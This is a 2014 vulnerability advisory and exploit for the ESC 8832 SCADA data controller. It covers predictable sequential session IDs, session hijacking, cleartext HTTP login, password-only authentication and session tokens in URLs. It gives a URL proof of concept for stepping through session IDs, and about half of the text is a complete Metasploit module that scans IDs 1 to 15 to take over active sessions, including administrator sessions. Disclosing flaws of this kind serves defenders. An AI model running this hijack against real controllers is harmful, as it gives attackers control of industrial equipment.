ESC 8832 Data Controller Session Hijacking

`=begin  
# Exploit Title: ESC 8832 Data Controller multiple vulnerabilities  
# Date: 2014-05-29  
# Platform: SCADA / Web Application  
# Exploit Author: Balazs Makany  
# Vendor Homepage: www.envirosys.com  
# Version: ESC 8832 Data Controller Hardware  
# Tested on: ESC 8832 Data Controller Hardware  
# CVE : N/A (Yet)  
  
POC for session hijacking: From the attacker browser (unauthenticated),  
simply enter the following URL:  
http://IP_of_the_Device/escmenu.esp?sessionid=1&menuid=6 and increment the  
sessionid parameter, starting from 1 up until it makes sense.  
  
POC (and other vulns as well) was confirmed by the vendor  
Metasploit auxiliary module available at  
https://www.th3r3g3nt.com/public_files/esc_8832_session.rb  
  
Details  
[1] Insecure user session handling (Session Hijacking)  
Summary: This vulnerability allows an attacker to hijack a valid session  
that is in progress by a legitimate user.  
Details: Due to the predictable session generation and due to the lack of  
cookie based authentication in the web interface, it was confirmed that an  
attacker from a different source IP address can issue valid requests,  
impersonating the authenticated user. The attack complexity is very low, no  
special software is required. It was noted that valid sessions do time out  
after certain period of inactivity, however hijacked sessions can  
elongating the session validity.  
Impact: The attacker can bypass intended access restrictions and  
impersonate currently active users, including administrators. Successful  
exploitation will result in complete loss of control over the device, and  
may depend on the compromised user context.  
POC: From a browser, simply enter the following URL:  
http://IP_of_the_Device/escmenu.esp?sessionid=1&menuid=6 and modify the  
sessionid parameter, starting from 1 up until it makes sense. Typically 15  
is high enough.  
  
[2] Insecure user session generation (Predictable user session generation)  
Summary: This vulnerability aids attackers to perform session hijacking  
Details: Upon successful authentication, the generated session ID are  
sequential in nature and starts at 1. For example if no user is  
authenticated, the first user who authenticates will receive the session ID  
1. The next authenticated user will receive session ID 2 and so on. There  
is also seems to be a “read-only” / unknown behavior when user ID 0 is  
supplied. Negative, invalid and other fuzzable values were not tested.  
Impact: Successful exploitation will allow remote attackers to determine  
valid sessions, leading to session hijacking and can result in complete  
loss of control over the device.  
POC: N/A, confirmed by vendor  
  
[3] Insecure user authentication method (Unencrypted protocol)  
Summary: This vulnerability allows man-in-the-middle attackers to gain  
valid cleartext credentials  
Details: The device is only capable of HTTP based authentication, which  
doesn’t seem to offer encryption such as HTTPS. Note that the native  
end-point client shipped with the device was not tested.  
Impact: Man-in-the-middle attackers are able to sniff cleartext  
authentication credentials between the user and the device. Successful  
exploitation may result in partial or complete loss of control over the  
device, depending on the compromised user context.  
POC: N/A, see web interface open ports and protocols  
  
[4] Insecure user management (Lack of user names)  
Summary: This vulnerability significantly decreases the complexity  
requirements for bruteforce attacks  
Details: The web interface does not require a username to be entered in  
conjunction with the password; only the password drives the user role.  
Impact: Attackers can have significantly higher success rate for password  
bruteforcing. Successful exploitation may result in partial or complete  
loss of control over the device, depending on the compromised user context.  
POC: N/A, confirmed by vendor, inspect login screen  
  
[5] Insecure user session token transmission (Session token in HTTP GET)  
Summary: Session tokens are transmitted via HTTP GET request in unhashed  
form  
Details: Upon successful authentication, the session ID is being sent in  
the URL GET request. (http[nolink]://  
192.168.1.1/escmenu.esp?sessionid=1&menuid=6)  
Impact: Man-in-the-middle attackers and caching devices (proxies, routers  
with spanning ports, loggers, browser history, IDS/IPS etc.) can  
effectively capture valid session IDs. The session ID transmitted in the  
GET request is vulnerable to session hijacking. Successful exploitation may  
result in partial or complete loss of control over the device, depending on  
the compromised user context.  
POC: N/A, confirmed by vendor  
=end  
  
##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'ESC 8832 Data Controller Session Hijack Scanner',  
'Description' => %q{ This module detects if an active session is present and hijackable on the target ESC 8832 web interface.},  
'Author' => ['Balazs Makany'],  
'References' =>  
[  
['URL', 'https://www.th3r3g3nt.com/?p=28'],  
],  
'License' => MSF_LICENSE  
))  
  
register_options([  
Opt::RPORT(80),  
OptBool.new('STOP_ON_SUCCESS', [true, "Stop when a live session was found", true]),  
])  
deregister_options('RHOST')  
end  
  
def run_host(target_host)  
result = []  
begin  
('1'.. '15').each do |u|  
print_status("Scanning #{target_host} - with Session ID '#{u}'")  
  
#Just to be on the safe side here.  
sleep(1)  
  
res = send_request_raw({  
'uri' => '/escmenu.esp?sessionid='+u+'&menuid=6',  
'method' => 'GET',  
'headers' => { 'Connection' => 'Close' }  
}, 25)  
  
if (res and res.code == 200 and res.body)  
if res.body.match(/(Configuration\sMenu)/im)  
print_good("#{target_host} - Active Session found as #{u}!")  
print_good("Complete request: http://#{target_host}/escmenu.esp?sessionid=#{u}&menuid=6")  
report_vuln(  
{  
:host => target_host,  
:port => datastore['RPORT'],  
:name => "ESC 8832 Web Vulnerability",  
:info => "Module #{self.fullname} confirmed a valid session (#{u}) on the ESC 8832 Web Interface",  
}  
)  
break if datastore['STOP_ON_SUCCESS']  
end  
if res.body.match(/(Access\sDenied!)/im)  
print_status(" Dead session")  
end  
end  
end  
  
rescue ::Interrupt  
raise $!  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_error("Timeout or no connection on #{rhost}:#{rport}")  
return  
rescue ::Exception => e  
print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}")  
return  
end  
end  
end  
  
`